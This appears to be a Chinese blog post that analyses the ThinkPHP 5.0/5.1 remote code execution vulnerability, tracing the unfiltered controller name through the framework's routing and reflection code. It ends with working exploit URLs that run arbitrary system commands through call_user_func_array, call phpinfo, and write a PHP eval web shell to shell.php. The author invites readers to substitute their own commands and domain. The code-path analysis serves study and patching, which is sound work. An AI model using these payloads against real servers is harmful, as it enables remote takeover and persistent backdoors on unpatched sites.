ThinkPHP遠程命令執行漏洞原理及復現

2018年12月11日,exploit-db更新了一個thinkphp框架遠程代碼執行漏洞
exploit地址:https://www.exploit-db.com/exploits/45978
由於框架對控制器名沒有進行足夠的檢測導致在沒有開啓強制路由的情況下getshell
漏洞影響範圍
Thinkphp 5.1.0 - 5.1.31
Thinkphp 5.0.5 - 5.0.23
安裝
下載地址http://www.thinkphp.cn/donate/download/id/1125.html
下載完解壓在/var/www/html/目錄下即可
ThinkPHP遠程命令執行漏洞原理及復現
漏洞分析
/thinkphp/library/think/App.php 行數:120
ThinkPHP遠程命令執行漏洞原理及復現
我們可以看到通過self::routerCheck函數進行路由檢測
ThinkPHP遠程命令執行漏洞原理及復現
我們可以看到又進入$request->path()函數
/thinkphp/library/think/Request.php 行數:416行
ThinkPHP遠程命令執行漏洞原理及復現
進入pathinfo()函數,繼續追蹤到384行
ThinkPHP遠程命令執行漏洞原理及復現
Config::get('var_pathinfo')是配置文件中的設置的參數,默認值爲s,從GET中獲取鍵值,然後賦值給routeCheck中的$path
我們再回到App.php 行數:606
ThinkPHP遠程命令執行漏洞原理及復現
這裏會進行路由檢測,檢查$check後會進入else分支導入路由配置,接着檢測路由url調度結果爲$result,如果調度失敗且開啓了強制路由$must,則報出路由無效,接着進入Route::parseUrl函數,根據$path(自定義url)解析操作
開始跟蹤parseUrl函數
/thinkphp/library/think/Route.php 行數:1208
ThinkPHP遠程命令執行漏洞原理及復現

進入parseUrlPath函數 行數:1275
ThinkPHP遠程命令執行漏洞原理及復現
這裏我們可以看到對模塊/控制器/操作的url地址分割成數組來返回(沒截好圖有點重了)行數:1217
ThinkPHP遠程命令執行漏洞原理及復現
ThinkPHP遠程命令執行漏洞原理及復現
我們可以看到,返回的結果賦值爲$path,提取路由信息又封裝到$route,最後返回
thinkphp/library/think/App.php 行數:120
ThinkPHP遠程命令執行漏洞原理及復現
進入self::exec函數 行數:445
ThinkPHP遠程命令執行漏洞原理及復現
我們可以看到模塊/控制器/操作 的函數爲self::module
開始跟蹤module函數 行數:494
ThinkPHP遠程命令執行漏洞原理及復現
ThinkPHP遠程命令執行漏洞原理及復現

我們可以看到,根據$config['app_multi_module']進入多模塊部署,$bind爲NULL,又進入elseif分支,判斷模塊是否在禁止的列表裏面$config['deny_module_list'],而且mmodule存在,$available = true,就不會拋出異常
module函數最後的返回值,發現$controller沒有進行過濾,那麼此時應該爲think\app,也就是return self::invokeMethod($call, $vars);
ThinkPHP遠程命令執行漏洞原理及復現
進入self::invokeMethod函數 行數:329
ThinkPHP遠程命令執行漏洞原理及復現

此時穿進去的$call也就是$method,是一個數組,第一個元素是一個think\App對象,第二個元素則是調用方法名稱的字符串invokefunction,然後通過反射ReflectionMethod獲取這個對象下對應的方法
再通過函數$args = self::bindParams($reflect, $vars);獲取傳入的參數,也就是payload

最後再調用反射$reflect->invokeArgs($args);,將Payload數組傳入反射對象函數invokeFunction,完成代碼執行。
ThinkPHP遠程命令執行漏洞原理及復現
至此,ThinkPHP遠程代碼執行漏洞分析完成
————————————————————————————————————————
漏洞利用
http://xxx.xxx.xxx(這裏爲你的域名)/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
遠程代碼執行命令:whoami(鏈接後面的whoami可以改成你要執行的命令,特殊符號請進行url轉碼)
http://xxx.xxx.xxx/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
通過phpinfo函數寫出phpinfo的信息
ThinkPHP遠程命令執行漏洞原理及復現

http://xxx.xxx.xxx/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22snowwolf%22])?^%3E%3Eshell.php
寫入shell
http://xxx.xxx.xxx/public/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
也是顯示phpinfo

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章